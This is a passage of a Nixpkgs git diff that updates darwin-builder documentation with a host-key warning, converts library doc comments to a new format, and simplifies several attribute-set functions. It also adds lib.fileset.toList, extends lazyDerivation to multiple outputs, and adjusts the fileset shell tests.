--git a/doc/packages/darwin-builder.section.md b/doc/packages/darwin-builder.section.md index 0c53237053456..3a547de537054 100644 --- a/doc/packages/darwin-builder.section.md +++ b/doc/packages/darwin-builder.section.md @@ -1,5 +1,12 @@ # darwin.linux-builder {#sec-darwin-builder} +:::{.warning} +By default, `darwin.linux-builder` uses a publicly-known private SSH **host key** (this is different from the SSH key used by the user that connects to the builder). + +Given the intended use case for it (a Linux builder that runs **on the same machine**), this shouldn't be an issue. +However, if you plan to deviate from this use case in any way (e.g. by exposing this builder to remote machines), you should understand the security implications of doing so and take any appropriate measures. +::: + `darwin.linux-builder` provides a way to bootstrap a Linux remote builder on a macOS machine. This requires macOS version 12.4 or later. @@ -97,8 +104,9 @@ $ sudo launchctl kickstart -k system/org.nixos.nix-daemon { virtualisation = { host.pkgs = pkgs; darwin-builder.workingDirectory = "/var/lib/darwin-builder"; + darwin-builder.hostPort = 22; }; - }; + } ]; }; in { @@ -110,7 +118,9 @@ $ sudo launchctl kickstart -k system/org.nixos.nix-daemon { nix.distributedBuilds = true; nix.buildMachines = [{ - hostName = "ssh://builder@localhost"; + hostName = "localhost"; + sshUser = "builder"; + sshKey = "/etc/nix/builder_ed25519"; system = linuxSystem; maxJobs = 4; supportedFeatures = [ "kvm" "benchmark" "big-parallel" ]; diff --git a/doc/stdenv/meta.chapter.md b/doc/stdenv/meta.chapter.md index c187f0602a1e1..4a3b04b8f6e41 100644 --- a/doc/stdenv/meta.chapter.md +++ b/doc/stdenv/meta.chapter.md @@ -3,16 +3,16 @@ Nix packages can declare *meta-attributes* that contain information about a package such as a description, its homepage, its license, and so on. For instance, the GNU Hello package has a `meta` declaration like this: ```nix -meta = with lib; { +meta = { description = "A program that produces a familiar, friendly greeting"; longDescription = '' GNU Hello is a program that prints "Hello, world!" when you run it. It is fully customizable. ''; homepage = "https://www.gnu.org/software/hello/manual/"; - license = licenses.gpl3Plus; - maintainers = with maintainers; [ eelco ]; - platforms = platforms.all; + license = lib.licenses.gpl3Plus; + maintainers = with lib.maintainers; [ eelco ]; + platforms = lib.platforms.all; }; ``` diff --git a/flake.nix b/flake.nix index 580f572ff32c6..d920d5d0dddab 100644 --- a/flake.nix +++ b/flake.nix @@ -27,7 +27,19 @@ # We set it to null, to remove the "legacy" entrypoint's # non-hermetic default. system = null; - } // args + + modules = args.modules ++ [ + # This module is injected here since it exposes the nixpkgs self-path in as + # constrained of contexts as possible to avoid more things depending on it and + # introducing unnecessary potential fragility to changes in flakes itself. + # + # See: failed attempt to make pkgs.path not copy when using flakes: + # https://github.com/NixOS/nixpkgs/pull/153594#issuecomment-1023287913 + ({ config, pkgs, lib, ... }: { + config.nixpkgs.flake.source = self.outPath; + }) + ]; + } // builtins.removeAttrs args [ "modules" ] ); }); diff --git a/lib/.version b/lib/.version new file mode 100644 index 0000000000000..420f61e8c7f66 --- /dev/null +++ b/lib/.version @@ -0,0 +1 @@ +24.05 \ No newline at end of file diff --git a/lib/asserts.nix b/lib/asserts.nix index 8d0a621f4c1c2..c7900c5d6c634 100644 --- a/lib/asserts.nix +++ b/lib/asserts.nix @@ -2,47 +2,87 @@ rec { - /* Throw if pred is false, else return pred. - Intended to be used to augment asserts with helpful error messages. + /** + Throw if pred is false, else return pred. + Intended to be used to augment asserts with helpful error messages. - Example: - assertMsg false "nope" - stderr> error: nope + # Inputs - assert assertMsg ("foo" == "bar") "foo is not bar, silly"; "" - stderr> error: foo is not bar, silly + `pred` - Type: - assertMsg :: Bool -> String -> Bool + : Predicate that needs to succeed, otherwise `msg` is thrown + + `msg` + + : Message to throw in case `pred` fails + + # Type + + ``` + assertMsg :: Bool -> String -> Bool + ``` + + # Examples + :::{.example} + ## `lib.asserts.assertMsg` usage example + + ```nix + assertMsg false "nope" + stderr> error: nope + assert assertMsg ("foo" == "bar") "foo is not bar, silly"; "" + stderr> error: foo is not bar, silly + ``` + + ::: */ # TODO(Profpatsch): add tests that check stderr assertMsg = - # Predicate that needs to succeed, otherwise `msg` is thrown pred: - # Message to throw in case `pred` fails msg: pred || builtins.throw msg; - /* Specialized `assertMsg` for checking if `val` is one of the elements - of the list `xs`. Useful for checking enums. + /** + Specialized `assertMsg` for checking if `val` is one of the elements + of the list `xs`. Useful for checking enums. + + # Inputs + + `name` + + : The name of the variable the user entered `val` into, for inclusion in the error message + + `val` + + : The value of what the user provided, to be compared against the values in `xs` + + `xs` + + : The list of valid values + + # Type - Example: - let sslLibrary = "libressl"; - in assertOneOf "sslLibrary" sslLibrary [ "openssl" "bearssl" ] - stderr> error: sslLibrary must be one of [ - stderr> "openssl" - stderr> "bearssl" - stderr> ], but is: "libressl" + ``` + assertOneOf :: String -> ComparableVal -> List ComparableVal -> Bool + ``` - Type: - assertOneOf :: String -> ComparableVal -> List ComparableVal -> Bool + # Examples + :::{.example} + ## `lib.asserts.assertOneOf` usage example + + ```nix + let sslLibrary = "libressl"; + in assertOneOf "sslLibrary" sslLibrary [ "openssl" "bearssl" ] + stderr> error: sslLibrary must be one of [ + stderr> "openssl" + stderr> "bearssl" + stderr> ], but is: "libressl" + ``` + + ::: */ assertOneOf = - # The name of the variable the user entered `val` into, for inclusion in the error message name: - # The value of what the user provided, to be compared against the values in `xs` val: - # The list of valid values xs: assertMsg (lib.elem val xs) @@ -50,29 +90,51 @@ rec { lib.generators.toPretty {} xs}, but is: ${ lib.generators.toPretty {} val}"; - /* Specialized `assertMsg` for checking if every one of `vals` is one of the elements - of the list `xs`. Useful for checking lists of supported attributes. - - Example: - let sslLibraries = [ "libressl" "bearssl" ]; - in assertEachOneOf "sslLibraries" sslLibraries [ "openssl" "bearssl" ] - stderr> error: each element in sslLibraries must be one of [ - stderr> "openssl" - stderr> "bearssl" - stderr> ], but is: [ - stderr> "libressl" - stderr> "bearssl" - stderr> ] - - Type: - assertEachOneOf :: String -> List ComparableVal -> List ComparableVal -> Bool + /** + Specialized `assertMsg` for checking if every one of `vals` is one of the elements + of the list `xs`. Useful for checking lists of supported attributes. + + # Inputs + + `name` + + : The name of the variable the user entered `val` into, for inclusion in the error message + + `vals` + + : The list of values of what the user provided, to be compared against the values in `xs` + + `xs` + + : The list of valid values + + # Type + + ``` + assertEachOneOf :: String -> List ComparableVal -> List ComparableVal -> Bool + ``` + + # Examples + :::{.example} + ## `lib.asserts.assertEachOneOf` usage example + + ```nix + let sslLibraries = [ "libressl" "bearssl" ]; + in assertEachOneOf "sslLibraries" sslLibraries [ "openssl" "bearssl" ] + stderr> error: each element in sslLibraries must be one of [ + stderr> "openssl" + stderr> "bearssl" + stderr> ], but is: [ + stderr> "libressl" + stderr> "bearssl" + stderr> ] + ``` + + ::: */ assertEachOneOf = - # The name of the variable the user entered `val` into, for inclusion in the error message name: - # The list of values of what the user provided, to be compared against the values in `xs` vals: - # The list of valid values xs: assertMsg (lib.all (val: lib.elem val xs) vals) diff --git a/lib/attrsets.nix b/lib/attrsets.nix index 0e896a93156d5..34054460ba761 100644 --- a/lib/attrsets.nix +++ b/lib/attrsets.nix @@ -2,10 +2,10 @@ { lib }: let - inherit (builtins) head tail length; - inherit (lib.trivial) id mergeAttrs warn; + inherit (builtins) head length; + inherit (lib.trivial) mergeAttrs warn; inherit (lib.strings) concatStringsSep concatMapStringsSep escapeNixIdentifier sanitizeDerivationName; - inherit (lib.lists) foldr foldl' concatMap concatLists elemAt all partition groupBy take foldl; + inherit (lib.lists) foldr foldl' concatMap elemAt all partition groupBy take foldl; in rec { @@ -216,8 +216,7 @@ rec { attrPath: # The nested attribute set to find the value in. set: - let errorMsg = "cannot find attribute `" + concatStringsSep "." attrPath + "'"; - in attrByPath attrPath (abort errorMsg) set; + attrByPath attrPath (abort ("cannot find attribute `" + concatStringsSep "." attrPath + "'")) set; /* Map each attribute in the given set and merge them into a new attribute set. @@ -369,7 +368,7 @@ rec { Type: attrValues :: AttrSet -> [Any] */ - attrValues = builtins.attrValues or (attrs: attrVals (attrNames attrs) attrs); + attrValues = builtins.attrValues; /* Given a set of attribute names, return the set of the corresponding @@ -398,8 +397,7 @@ rec { Type: catAttrs :: String -> [AttrSet] -> [Any] */ - catAttrs = builtins.catAttrs or - (attr: l: concatLists (map (s: if s ? ${attr} then [s.${attr}] else []) l)); + catAttrs = builtins.catAttrs; /* Filter an attribute set by removing all attributes for which the @@ -608,9 +606,7 @@ rec { Type: mapAttrs :: (String -> Any -> Any) -> AttrSet -> AttrSet */ - mapAttrs = builtins.mapAttrs or - (f: set: - listToAttrs (map (attr: { name = attr; value = f attr set.${attr}; }) (attrNames set))); + mapAttrs = builtins.mapAttrs; /* Like `mapAttrs`, but allows the name of each attribute to be @@ -683,65 +679,79 @@ rec { attrsToList = mapAttrsToList nameValuePair; - /* Like `mapAttrs`, except that it recursively applies itself to - the *leaf* attributes of a potentially-nested attribute set: - the second argument of the function will never be an attrset. - Also, the first argument of the argument function is a *list* - of the attribute names that form the path to the leaf attribute. + /** + Like `mapAttrs`, except that it recursively applies itself to the *leaf* attributes of a potentially-nested attribute set: + the second argument of the function will never be an attrset. + Also, the first argument of the mapping function is a *list* of the attribute names that form the path to the leaf attribute. - For a function that gives you control over what counts as a leaf, - see `mapAttrsRecursiveCond`. + For a function that gives you control over what counts as a leaf, see `mapAttrsRecursiveCond`. - Example: - mapAttrsRecursive (path: value: concatStringsSep "-" (path ++ [value])) - { n = { a = "A"; m = { b = "B"; c = "C"; }; }; d = "D"; } - => { n = { a = "n-a-A"; m = { b = "n-m-b-B"; c = "n-m-c-C"; }; }; d = "d-D"; } + :::{#map-attrs-recursive-example .example} + # Map over leaf attributes - Type: - mapAttrsRecursive :: ([String] -> a -> b) -> AttrSet -> AttrSet + ```nix + mapAttrsRecursive (path: value: concatStringsSep "-" (path ++ [value])) + { n = { a = "A"; m = { b = "B"; c = "C"; }; }; d = "D"; } + ``` + evaluates to + ```nix + { n = { a = "n-a-A"; m = { b = "n-m-b-B"; c = "n-m-c-C"; }; }; d = "d-D"; } + ``` + ::: + + # Type + ``` + mapAttrsRecursive :: ([String] -> a -> b) -> AttrSet -> AttrSet + ``` */ mapAttrsRecursive = - # A function, given a list of attribute names and a value, returns a new value. + # A function that, given an attribute path as a list of strings and the corresponding attribute value, returns a new value. f: - # Set to recursively map over. + # Attribute set to recursively map over. set: mapAttrsRecursiveCond (as: true) f set; - /* Like `mapAttrsRecursive`, but it takes an additional predicate - function that tells it whether to recurse into an attribute - set. If it returns false, `mapAttrsRecursiveCond` does not - recurse, but does apply the map function. If it returns true, it - does recurse, and does not apply the map function. + /** + Like `mapAttrsRecursive`, but it takes an additional predicate that tells it whether to recurse into an attribute set. + If the predicate returns false, `mapAttrsRecursiveCond` does not recurse, but instead applies the mapping function. + If the predicate returns true, it does recurse, and does not apply the mapping function. - Example: - # To prevent recursing into derivations (which are attribute - # sets with the attribute "type" equal to "derivation"): - mapAttrsRecursiveCond - (as: !(as ? "type" && as.type == "derivation")) - (x: ... do something ...) - attrs + :::{#map-attrs-recursive-cond-example .example} + # Map over an leaf attributes defined by a condition - Type: - mapAttrsRecursiveCond :: (AttrSet -> Bool) -> ([String] -> a -> b) -> AttrSet -> AttrSet + Map derivations to their `name` attribute. + Derivatons are identified as attribute sets that contain `{ type = "derivation"; }`. + ```nix + mapAttrsRecursiveCond + (as: !(as ? "type" && as.type == "derivation")) + (x: x.name) + attrs + ``` + ::: + + # Type + ``` + mapAttrsRecursiveCond :: (AttrSet -> Bool) -> ([String] -> a -> b) -> AttrSet -> AttrSet + ``` */ mapAttrsRecursiveCond = - # A function, given the attribute set the recursion is currently at, determine if to recurse deeper into that attribute set. + # A function that, given the attribute set the recursion is currently at, determines if to recurse deeper into that attribute set. cond: - # A function, given a list of attribute names and a value, returns a new value. + # A function that, given an attribute path as a list of strings and the corresponding attribute value, returns a new value. + # The attribute value is either an attribute set for which `cond` returns false, or something other than an attribute set. f: # Attribute set to recursively map over. set: let recurse = path: - let - g = - name: value: + mapAttrs + (name: value: if isAttrs value && cond value - then recurse (path ++ [name]) value - else f (path ++ [name]) value; - in mapAttrs g; - in recurse [] set; + then recurse (path ++ [ name ]) value + else f (path ++ [ name ]) value); + in + recurse [ ] set; /* Generate an attribute set by mapping a function over a list of @@ -873,10 +883,7 @@ rec { Type: zipAttrs :: [ AttrSet ] -> AttrSet */ - zipAttrs = - # List of attribute sets to zip together. - sets: - zipAttrsWith (name: values: values) sets; + zipAttrs = zipAttrsWith (name: values: values); /* Merge a list of attribute sets together using the `//` operator. @@ -1141,10 +1148,7 @@ rec { Type: chooseDevOutputs :: [Derivation] -> [String] */ - chooseDevOutputs = - # List of packages to pick `dev` outputs from - drvs: - builtins.map getDev drvs; + chooseDevOutputs = builtins.map getDev; /* Make various Nix tools consider the contents of the resulting attribute set when looking for what to build, find, etc. diff --git a/lib/customisation.nix b/lib/customisation.nix index 0b5cad71fddf4..7be412bac353f 100644 --- a/lib/customisation.nix +++ b/lib/customisation.nix @@ -221,9 +221,10 @@ rec { let f = if isFunction fn then fn else import fn; auto = intersectAttrs (functionArgs f) autoArgs; + mirrorArgs = mirrorFunctionArgs f; origArgs = auto // args; pkgs = f origArgs; - mkAttrOverridable = name: _: makeOverridable (newArgs: (f newArgs).${name}) origArgs; + mkAttrOverridable = name: _: makeOverridable (mirrorArgs (newArgs: (f newArgs).${name})) origArgs; in if isDerivation pkgs then throw ("function `callPackages` was called on a *single* derivation " diff --git a/lib/default.nix b/lib/default.nix index a17307be6e076..668c29640f9f1 100644 --- a/lib/default.nix +++ b/lib/default.nix @@ -84,8 +84,8 @@ let mapAttrs' mapAttrsToList attrsToList concatMapAttrs mapAttrsRecursive mapAttrsRecursiveCond genAttrs isDerivation toDerivation optionalAttrs zipAttrsWithNames zipAttrsWith zipAttrs recursiveUpdateUntil - recursiveUpdate matchAttrs overrideExisting showAttrPath getOutput getBin - getLib getDev getMan chooseDevOutputs zipWithNames zip + recursiveUpdate matchAttrs mergeAttrsList overrideExisting showAttrPath getOutput + getBin getLib getDev getMan chooseDevOutputs zipWithNames zip recurseIntoAttrs dontRecurseIntoAttrs cartesianProductOfSets updateManyAttrsByPath; inherit (self.lists) singleton forEach foldr fold foldl foldl' imap0 imap1 diff --git a/lib/derivations.nix b/lib/derivations.nix index 44b727ee31cc2..6867458f9e87c 100644 --- a/lib/derivations.nix +++ b/lib/derivations.nix @@ -1,7 +1,20 @@ { lib }: let - inherit (lib) throwIfNot; + inherit (lib) + genAttrs + isString + throwIfNot + ; + + showMaybeAttrPosPre = prefix: attrName: v: + let pos = builtins.unsafeGetAttrPos attrName v; + in if pos == null then "" else "${prefix}${pos.file}:${toString pos.line}:${toString pos.column}"; + + showMaybePackagePosPre = prefix: pkg: + if pkg?meta.position && isString pkg.meta.position + then "${prefix}${pkg.meta.position}" + else ""; in { /* @@ -64,6 +77,11 @@ in # # This can be used for adding package attributes, such as `tests`. passthru ? { } + , # Optional list of assumed outputs. Default: ["out"] + # + # This must match the set of outputs that the returned derivation has. + # You must use this when the derivation has multiple outputs. + outputs ? [ "out" ] }: let # These checks are strict in `drv` and some `drv` attributes, but the @@ -71,11 +89,40 @@ in # Instead, the individual derivation attributes do depend on it. checked = throwIfNot (derivation.type or null == "derivation") - "lazySimpleDerivation: input must be a derivation." + "lazyDerivation: input must be a derivation." throwIfNot - (derivation.outputs == [ "out" ]) - # Supporting multiple outputs should be a matter of inheriting more attrs. - "The derivation ${derivation.name or "<unknown>"} has multiple outputs. This is not supported by lazySimpleDerivation yet. Support could be added, and be useful as long as the set of outputs is known in advance, without evaluating the actual derivation." + # NOTE: Technically we could require our outputs to be a subset of the + # actual ones, or even leave them unchecked and fail on a lazy basis. + # However, consider the case where an output is added in the underlying + # derivation, such as dev. lazyDerivation would remove it and cause it + # to fail as a buildInputs item, without any indication as to what + # happened. Hence the more stringent condition. We could consider + # adding a flag to control this behavior if there's a valid case for it, + # but the documentation must have a note like this. + (derivation.outputs == outputs) + '' + lib.lazyDerivation: The derivation ${derivation.name or "<unknown>"} has outputs that don't match the assumed outputs. + + Assumed outputs passed to lazyDerivation${showMaybeAttrPosPre ",\n at " "outputs" args}: + ${lib.generators.toPretty { multiline = false; } outputs}; + + Actual outputs of the derivation${showMaybePackagePosPre ",\n defined at " derivation}: + ${lib.generators.toPretty { multiline = false; } derivation.outputs} + + If the outputs are known ahead of evaluating the derivation, + then update the lazyDerivation call to match the actual outputs, in the same order. + If lazyDerivation is passed a literal value, just change it to the actual outputs. + As a result it will work as before / as intended. + + Otherwise, when the outputs are dynamic and can't be known ahead of time, it won't + be possible to add laziness, but lib.lazyDerivation may still be useful for trimming + the attributes. + If you want to keep trimming the attributes, make sure that the package is in a + variable (don't evaluate it twice!) and pass the variable and its outputs attribute + to lib.lazyDerivation. This largely defeats laziness, but keeps the trimming. + If none of the above works for you, replace the lib.lazyDerivation call by the + expression in the derivation argument. + '' derivation; in { @@ -92,12 +139,15 @@ in # A fixed set of derivation values, so that `lazyDerivation` can return # its attrset before evaluating `derivation`. # This must only list attributes that are available on _all_ derivations. - inherit (checked) outputs out outPath outputName drvPath name system; + inherit (checked) outPath outputName drvPath name system; + inherit outputs; # The meta attribute can either be taken from the derivation, or if the # `lazyDerivation` caller knew a shortcut, be taken from there. meta = args.meta or checked.meta; - } // passthru; + } + // genAttrs outputs (outputName: checked.${outputName}) + // passthru; /* Conditionally set a derivation attribute. diff --git a/lib/fileset/default.nix b/lib/fileset/default.nix index c007b60def0aa..ce9afc796a3f9 100644 --- a/lib/fileset/default.nix +++ b/lib/fileset/default.nix @@ -23,6 +23,10 @@ Add files in file sets to the store to use as derivation sources. + - [`lib.fileset.toList`](#function-library-lib.fileset.toList): + + The list of files contained in a file set. + Combinators: - [`lib.fileset.union`](#function-library-lib.fileset.union)/[`lib.fileset.unions`](#function-library-lib.fileset.unions): @@ -102,6 +106,7 @@ let _coerceMany _toSourceFilter _fromSourceFilter + _toList _unionMany _fileFilter _printFileset @@ -412,6 +417,38 @@ in { filter = sourceFilter; }; + + /* + The list of file paths contained in the given file set. + + :::{.note} + This function is strict in the entire file set. + This is in contrast with combinators [`lib.fileset.union`](#function-library-lib.fileset.union), + [`lib.fileset.intersection`](#function-library-lib.fileset.intersection) and [`lib.fileset.difference`](#function-library-lib.fileset.difference). + + Thus it is recommended to call `toList` on file sets created using the combinators, + instead of doing list processing on the result of `toList`. + ::: + + The resulting list of files can be turned back into a file set using [`lib.fileset.unions`](#function-library-lib.fileset.unions). + + Type: + toList :: FileSet -> [ Path ] + + Example: + toList ./. + [ ./README.md ./Makefile ./src/main.c ./src/main.h ] + + toList (difference ./. ./src) + [ ./README.md ./Makefile ] + */ + toList = + # The file set whose file paths to return. + # This argument can also be a path, + # which gets [implicitly coerced to a file set](#sec-fileset-path-coercion). + fileset: + _toList (_coerce "lib.fileset.toList: Argument" fileset); + /* The file set containing all files that are in either of two given file sets. This is the same as [`unions`](#function-library-lib.fileset.unions), diff --git a/lib/fileset/internal.nix b/lib/fileset/internal.nix index f4fcc83e10124..0d97ef1745683 100644 --- a/lib/fileset/internal.nix +++ b/lib/fileset/internal.nix @@ -18,6 +18,7 @@ let attrNames attrValues mapAttrs + mapAttrsToList optionalAttrs zipAttrsWith ; @@ -29,6 +30,7 @@ let inherit (lib.lists) all commonPrefix + concatLists elemAt filter findFirst @@ -539,6 +541,27 @@ rec { ${baseNameOf root} = rootPathType; }; + # Turns a file set into the list of file paths it includes. + # Type: fileset -> [ Path ] + _toList = fileset: + let + recurse = path: tree: + if isAttrs tree then + concatLists (mapAttrsToList (name: value: + recurse (path + "/${name}") value + ) tree) + else if tree == "directory" then + recurse path (readDir path) + else if tree == null then + [ ] + else + [ path ]; + in + if fileset._internalIsEmptyWithoutBase then + [ ] + else + recurse fileset._internalBase fileset._internalTree; + # Transforms the filesetTree of a file set to a shorter base path, e.g. # _shortenTreeBase [ "foo" ] (_create /foo/bar null) # => { bar = null; } diff --git a/lib/fileset/tests.sh b/lib/fileset/tests.sh index af8338eb7855f..405fa04d8e06b 100755 --- a/lib/fileset/tests.sh +++ b/lib/fileset/tests.sh @@ -275,7 +275,6 @@ createTree() { # ) # checkFileset './a' # Pass the fileset as the argument checkFileset() { - # New subshell so that we can have a separate trap handler, see `trap` below local fileset=$1 # Create the tree @@ -283,16 +282,20 @@ checkFileset() { # Process the tree into separate arrays for included paths, excluded paths and excluded files. local -a included=() + local -a includedFiles=() local -a excluded=() local -a excludedFiles=() for p in "${!tree[@]}"; do case "${tree[$p]}" in 1) included+=("$p") + # If keys end with a `/` we treat them as directories, otherwise files + if [[ ! "$p" =~ /$ ]]; then + includedFiles+=("$p") + fi ;; 0) excluded+=("$p") - # If keys end with a `/` we treat them as directories, otherwise files if [[ ! "$p" =~ /$ ]]; then excludedFiles+=("$p") fi @@ -302,6 +305,10 @@ checkFileset() { esac done + # Test that lib.fileset.toList contains exactly the included files. + # The /#/./ part prefixes each element with `./` + expectEqual "toList ($fileset)" "sort lessThan [ ${includedFiles[*]/#/./} ]" + expression="toSource { root = ./.; fileset = $fileset; }" # We don't have lambda's in bash unfortunately, @@ -338,13 +345,17 @@ checkFileset() { #### Error messages ##### +# We're using [[:blank:]] here instead of \s, because only the former is POSIX +# (see https://pubs.opengroup.org/onlinepubs/007908799/xbd/re.html#tag_007_003_005). +# And indeed, Darwin's bash only supports the former + # Absolute paths in strings cannot be passed as `root` expectFailure 'toSource { root = "/nix/store/foobar"; fileset = ./.; }' 'lib.fileset.toSource: `root` \(/nix/store/foobar\) is a string-like value, but it should be a path instead. -\s*Paths in strings are not supported by `lib.fileset`, use `lib.sources` or derivations instead.' +[[:blank:]]*Paths in strings are not supported by `lib.fileset`, use `lib.sources` or derivations instead.' expectFailure 'toSource { root = cleanSourceWith { src = ./.; }; fileset = ./.; }' 'lib.fileset.toSource: `root` is a `lib.sources`-based value, but it should be a path instead. -\s*To use a `lib.sources`-based value, convert it to a file set using `lib.fileset.fromSource` and pass it as `fileset`. -\s*Note that this only works for sources created from paths.' +[[:blank:]]*To use a `lib.sources`-based value, convert it to a file set using `lib.fileset.fromSource` and pass it as `fileset`. +[[:blank:]]*Note that this only works for sources created from paths.' # Only paths are accepted as `root` expectFailure 'toSource { root = 10; fileset = ./.; }' 'lib.fileset.toSource: `root` is of type int, but it should be a path instead.' @@ -354,9 +365,9 @@ mkdir -p {foo,bar}/mock-root expectFailure 'with ((import <nixpkgs/lib>).extend (import <nixpkgs/lib/fileset/mock-splitRoot.nix>)).fileset; toSource { root = ./foo/mock-root; fileset = ./bar/mock-root; } ' 'lib.fileset.toSource: Filesystem roots are not the same for `fileset` and `root` \('"$work"'/foo/mock-root\): -\s*`root`: Filesystem root is "'"$work"'/foo/mock-root" -\s*`fileset`: Filesystem root is "'"$work"'/bar/mock-root" -\s*Different filesystem roots are not supported.' +[[:blank:]]*`root`: Filesystem root is "'"$work"'/foo/mock-root" +[[:blank:]]*`fileset`: Filesystem root is "'"$work"'/bar/mock-root" +[[:blank:]]*Different filesystem roots are not supported.' rm -rf -- * # `root` needs to exist @@ -365,8 +376,8 @@ expectFailure 'toSource { root = ./a; fileset = ./.; }' 'lib.fileset.toSource: ` # `root` needs to be a file touch a expectFailure 'toSource { root = ./a; fileset = ./a; }' 'lib.fileset.toSource: `root` \('"$work"'/a\) is a file, but it should be a directory instead. Potential solutions: -\s*- If you want to import the file into the store _without_ a containing directory, use string interpolation or `builtins.path` instead of this function. -\s*- If you want to import the file into the store _with_ a containing directory, set `root` to the containing directory, such as '"$work"', and set `fileset` to the file path.' +[[:blank:]]*- If you want to import the file into the store _without_ a containing directory, use string interpolation or `builtins.path` instead of this function. +[[:blank:]]*- If you want to import the file into the store _with_ a containing directory, set `root` to the containing directory, such as '"$work"', and set `fileset` to the file path.' rm -rf -- * # The fileset argument should be evaluated, even if the directory is empty @@ -375,36 +386,36 @@ expectFailure 'toSource { root = ./.; fileset = abort "This should be evaluated" # Only paths under `root` should be able to influence the result mkdir a expectFailure 'toSource { root = ./a; fileset = ./.; }' 'lib.fileset.toSource: `fileset` could contain files in '"$work"', which is not under the `root` \('"$work"'/a\). Potential solutions: -\s*- Set `root` to '"$work"' or any directory higher up. This changes the layout of the resulting store path. -\s*- Set `fileset` to a file set that cannot contain files outside the `root` \('"$work"'/a\). This could change the files included in the result.' +[[:blank:]]*- Set `root` to '"$work"' or any directory higher up. This changes the layout of the resulting store path. +[[:blank:]]*- Set `fileset` to a file set that cannot contain files outside the `root` \('"$work"'/a\). This could change the files included in the result.' rm -rf -- * # non-regular and non-symlink files cannot be added to the Nix store mkfifo a expectFailure 'toSource { root = ./.; fileset = ./a; }' 'lib.fileset.toSource: `fileset` contains a file that cannot be added to the store: '"$work"'/a -\s*This file is neither a regular file nor a symlink, the only file types supported by the Nix store. -\s*Therefore the file set cannot be added to the Nix store as is. Make sure to not include that file to avoid this error.' +[[:blank:]]*This file is neither a regular file nor a symlink, the only file types supported by the Nix store. +[[:blank:]]*Therefore the file set cannot be added to the Nix store as is. Make sure to not include that file to avoid this error.' rm -rf -- * # Path coercion only works for paths expectFailure 'toSource { root = ./.; fileset = 10; }' 'lib.fileset.toSource: `fileset` is of type int, but it should be a file set or a path instead.' expectFailure 'toSource { root = ./.; fileset = "/some/path"; }' 'lib.fileset.toSource: `fileset` \("/some/path"\) is a string-like value, but it should be a file set or a path instead. -\s*Paths represented as strings are not supported by `lib.fileset`, use `lib.sources` or derivations instead.' +[[:blank:]]*Paths represented as strings are not supported by `lib.fileset`, use `lib.sources` or derivations instead.' expectFailure 'toSource { root = ./.; fileset = cleanSourceWith { src = ./.; }; }' 'lib.fileset.toSource: `fileset` is a `lib.sources`-based value, but it should be a file set or a path instead. -\s*To convert a `lib.sources`-based value to a file set you can use `lib.fileset.fromSource`. -\s*Note that this only works for sources created from paths.' +[[:blank:]]*To convert a `lib.sources`-based value to a file set you can use `lib.fileset.fromSource`. +[[:blank:]]*Note that this only works for sources created from paths.' # Path coercion errors for non-existent paths expectFailure 'toSource { root = ./.; fileset = ./a; }' 'lib.fileset.toSource: `fileset` \('"$work"'/a\) is a path that does not exist. -\s*To create a file set from a path that may not exist, use `lib.fileset.maybeMissing`.' +[[:blank:]]*To create a file set from a path that may not exist, use `lib.fileset.maybeMissing`.' # File sets cannot be evaluated directly expectFailure 'union ./. ./.' 'lib.fileset: Directly evaluating a file set is not supported. -\s*To turn it into a usable source, use `lib.fileset.toSource`. -\s*To pretty-print the contents, use `lib.fileset.trace` or `lib.fileset.traceVal`.' +[[:blank:]]*To turn it into a usable source, use `lib.fileset.toSource`. +[[:blank:]]*To pretty-print the contents, use `lib.fileset.trace` or `lib.fileset.traceVal`.' expectFailure '_emptyWithoutBase' 'lib.fileset: Directly evaluating a file set is not supported. -\s*To turn it into a usable source, use `lib.fileset.toSource`. -\s*To pretty-print the contents, use `lib.fileset.trace` or `lib.fileset.traceVal`.' +[[:blank:]]*To turn it into a usable source, use `lib.fileset.toSource`. +[[:blank:]]*To pretty-print the contents, use `lib.fileset.trace` or `lib.fileset.traceVal`.' # Past versions of the internal representation are supported expectEqual '_coerce "<tests>: value" { _type = "fileset"; _internalVersion = 0; _internalBase = ./.; }' \ @@ -416,9 +427,9 @@ expectEqual '_coerce "<tests>: value" { _type = "fileset"; _internalVersion = 2; # Future versions of the internal representation are unsupported expectFailure '_coerce "<tests>: value" { _type = "fileset"; _internalVersion = 4; }' '<tests>: value is a file set created from a future version of the file set library with a different internal representation: -\s*- Internal version of the file set: 4 -\s*- Internal version of the library: 3 -\s*Make sure to update your Nixpkgs to have a newer version of `lib.fileset`.' +[[:blank:]]*- Internal version of the file set: 4 +[[:blank:]]*- Internal version of the library: 3 +[[:blank:]]*Make sure to update your Nixpkgs to have a newer version of `lib.fileset`.' # _create followed by _coerce should give the inputs back without any validation expectEqual '{ @@ -511,6 +522,19 @@ expectEqual '_toSourceFilter (_create /. { foo = "regular"; }) "/foo" ""' 'true' expectEqual '_toSourceFilter (_create /. { foo = null; }) "/foo" ""' 'false' +## lib.fileset.toList +# This function is mainly tested in checkFileset + +# The error context for an invalid argument must be correct +expectFailure 'toList null' 'lib.fileset.toList: Argument is of type null, but it should be a file set or a path instead.' + +# Works for the empty fileset +expectEqual 'toList _emptyWithoutBase' '[ ]' + +# Works on empty paths +expectEqual 'toList ./.' '[ ]' + + ## lib.fileset.union, lib.fileset.unions @@ -519,16 +543,16 @@ mkdir -p {foo,bar}/mock-root expectFailure 'with ((import <nixpkgs/lib>).extend (import <nixpkgs/lib/fileset/mock-splitRoot.nix>)).fileset; toSource { root = ./.; fileset = union ./foo/mock-root ./bar/mock-root; } ' 'lib.fileset.union: Filesystem roots are not the same: -\s*First argument: Filesystem root is "'"$work"'/foo/mock-root" -\s*Second argument: Filesystem root is "'"$work"'/bar/mock-root" -\s*Different filesystem roots are not supported.' +[[:blank:]]*First argument: Filesystem root is "'"$work"'/foo/mock-root" +[[:blank:]]*Second argument: Filesystem root is "'"$work"'/bar/mock-root" +[[:blank:]]*Different filesystem roots are not supported.' expectFailure 'with ((import <nixpkgs/lib>).extend (import <nixpkgs/lib/fileset/mock-splitRoot.nix>)).fileset; toSource { root = ./.; fileset = unions [ ./foo/mock-root ./bar/mock-root ]; } ' 'lib.fileset.unions: Filesystem roots are not the same: -\s*Element 0: Filesystem root is "'"$work"'/foo/mock-root" -\s*Element 1: Filesystem root is "'"$work"'/bar/mock-root" -\s*Different filesystem roots are not supported.' +[[:blank:]]*Element 0: Filesystem root is "'"$work"'/foo/mock-root" +[[:blank:]]*Element 1: Filesystem root is "'"$work"'/bar/mock-root" +[[:blank:]]*Different filesystem roots are not supported.' rm -rf -- * # Coercion errors show the correct context @@ -632,9 +656,9 @@ mkdir -p {foo,bar}/mock-root expectFailure 